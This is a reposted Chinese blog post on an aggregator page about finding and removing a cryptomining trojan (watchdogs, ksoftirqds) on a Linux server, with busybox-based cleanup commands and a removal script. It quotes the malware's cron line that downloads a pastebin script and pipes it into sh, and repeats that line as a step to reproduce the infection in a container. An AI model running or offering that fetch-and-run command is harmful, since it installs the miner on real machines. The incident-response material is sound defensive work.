zoukankan      html  css  js  c++  java
  • 服务器被植入挖矿木马的心酸过程

    转自 https://juejin.im/post/5aa0cc476fb9a028d82b5695


    最近打开服务变得很慢,然后 CPU,内存占用有达到了100%,打开网站都很慢,这个肯定很反常的,平时cpu不会达到那么高,因此netstat -ntlp 准备看看端口占用是不是有什么异常,有的会看到cpu暂用情况,有的不会显示,因为木马屏蔽掉了相关的命令。
    好了,不死心。然后我看下定时任务,crontab -l
    emmmm,

    1. */15 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh

    这个任务我记得我没有添加定时任务啊,还15分钟执行一次,我的天。
    然后我就打算删掉这个定时任务,无论是 crontab -r 还是执行修改定时任务配置文件,都无法删掉这个定时任务

    然后网上查下。

    直观表现
    • top, ps -ef 无异常进程
    • load average 稳步飙升
    • netstat 命令被删除
    • 尝试建立大量22端口, 6379端口的内网连接
    • crontab 被添加定时挖矿脚本, 删除无效

    传播途径
    • jenkins漏洞(or 弱密码?)侵入
    • 尝试root用户ssh的免密登录
    • 尝试redis内网登录

    en,想起前两天jenkins 升级了软件,后来就很卡了系统。

    准备过程
    获取busybox

    因感染病毒后, ls等系统命令会被劫持, 需要busybox替代这些系统命令, 下面提供从busybox官方docker镜像中提取的静态编译版busybox过程.

    1. docker run --rm -itv /tmp/:/tmp busybox:uclibc
    2. cp /bin/busybox /tmp
    3. exit

    宿主机即获取到: /tmp/busybox

    复现感染过程(docker环境被root感染模式)
    docker与虚拟机环境有区别, 病毒行为会受限

    1. docker run --rm -it -v /tmp:/tmp centos:latest
    2. yum install -y crontabs lsof e2fsprogs
    3. (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh
    使用busybox代替系统命令
    1. busybox top, busybox ps -ef

    此busybox为静态编译版, 不依赖so库, 系统的ls等命令已被通过so库的preload机制被病毒劫持, ls会导致/etc/cron.d/root文件被刷写为病毒定时执行命令.

    发现比系统命令多两个进程(进程个数跟cpu核数有关), 耗尽了所有cpu资源

    1. /tmp/ksoftirqds
    2. /tmp/watchdogs

    查杀过程(系统命令已不可信, 操作优先采用busybox)

    关闭crontab
    1. systemctl stop crond
    上传busybox
    1. chmod +x busybox && mv busybox /sbin/
    写hosts, 屏蔽病毒脚本下载
    1. busybox echo -e " 0.0.0.0 pastebin.com 0.0.0.0 thyrsi.com" >> /etc/hosts
    删除,创建,并锁定 crontab相关文件
    1. busybox rm /var/spool/cron/root && busybox touch /var/spool/cron/root && busybox chattr +i /var/spool/cron/root
    2. busybox rm /var/spool/cron/crontabs/root && busybox touch /var/spool/cron/crontabs/root && busybox chattr +i /var/spool/cron/crontabs/root
    3. busybox rm /etc/cron.d/root && busybox touch /etc/cron.d/root && busybox chattr +i /etc/cron.d/root
    备份重要的crontab,然后删除cron.d目录的其他文件
    1. busybox rm -rf /etc/cron.d/*
    检查并删除下面目录有异常文件
    1. busybox ls /etc/cron.daily
    2. busybox ls /etc/cron.hourly
    3. busybox ls /etc/cron.monthly
    4. busybox ls /etc/cron.weekly
    删除病毒相关执行文件和启动脚本
    1. /busybox rm /sbin/watchdogs
    2. /busybox rm /usr/sbin/watchdogs
    3. /busybox rm /etc/init.d/watchdogs
    4. busybox find / -type f -name '*watchdogs*'|busybox xargs rm -f
    删除病毒进程
    1. busybox pkill watchdogs
    2. busybox pkill ksoftirqds
    3. 删除被preloadso
    4. busybox rm /usr/local/lib/libioset.so
    5. busybox rm /etc/ld.so.preload
    6. busybox rm /etc/ld.so.cache
    7. 验证libioset.so被卸载
    8. lsof |grep usr/local/lib/libioset.so

    无输出, 则该动态链接库被卸载, 直接执行验证步骤;

    有输出, kill掉占用的进程, 重复执行该步骤;

    若反复执行后无法成功卸载该动态链接库, 请执行服务器重启操作.

    重启服务器
    验证步骤

    1. busybox top # 查看系统负载
    2. crontab -l # 查看是否还有异常任务
    3. busybox chattr -i /etc/cron.d/root # 过一段时间查看是否有异常任务写入

    如果这种方式还是没清理掉

    提供一份清理脚本:

      1. service crond stop
      2. busybox rm -f /etc/ld.so.preload
      3. busybox rm -f /usr/local/lib/libioset.so
      4. chattr -i /etc/ld.so.preload
      5. busybox rm -f /etc/ld.so.preload
      6. busybox rm -f /usr/local/lib/libioset.so
      7. # 清理异常进程
      8. busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' | busybox xargs kill -9
      9. busybox ps -ef | busybox grep -v grep | busybox egrep 'watchdogs' | busybox awk '{print $1}' | busybox xargs kill -9
      10. busybox rm -f /tmp/watchdogs
      11. busybox rm -f /etc/cron.d/tomcat
      12. busybox rm -f /etc/cron.d/root
      13. busybox rm -f /var/spool/cron/root
      14. busybox rm -f /var/spool/cron/crontabs/root
      15. busybox rm -f /etc/rc.d/init.d/watchdogs
      16. busybox rm -f /usr/sbin/watchdogs
      17. ldconfig
      18. # 再次清理异常进程
      19. busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' | busybox xargs kill -9
      20. busybox ps -ef | busybox grep -v grep | busybox egrep 'watchdogs' | busybox awk '{print $1}' | busybox xargs kill -9
      21. # 清理开机启动项
      22. chkconfig watchdogs off
      23. chkconfig del watchdogs
      24. service crond start
      25. echo "Done, Please reboot!"
  • 相关阅读:
    OPENGL学习笔记整理(一)
    OPENGL学习笔记整理(二):纹理知多少?
    OPENGL学习笔记整理(三):缓冲区对象
    细节决定成败(基础知识收集)
    OPENGL学习笔记整理(四):几何图元渲染
    目标规划,利用业余时间。欢迎大家指导。
    微型通用程序框架
    COM在注册表中的相关键值及其意义
    C#编写基于.Net IOCP的高性能服务器(转)
    Java获取XML节点总结之读取XML文档节点
  • 原文地址:https://www.cnblogs.com/rosepotato/p/10641207.html
Copyright © 2011-2022 走看看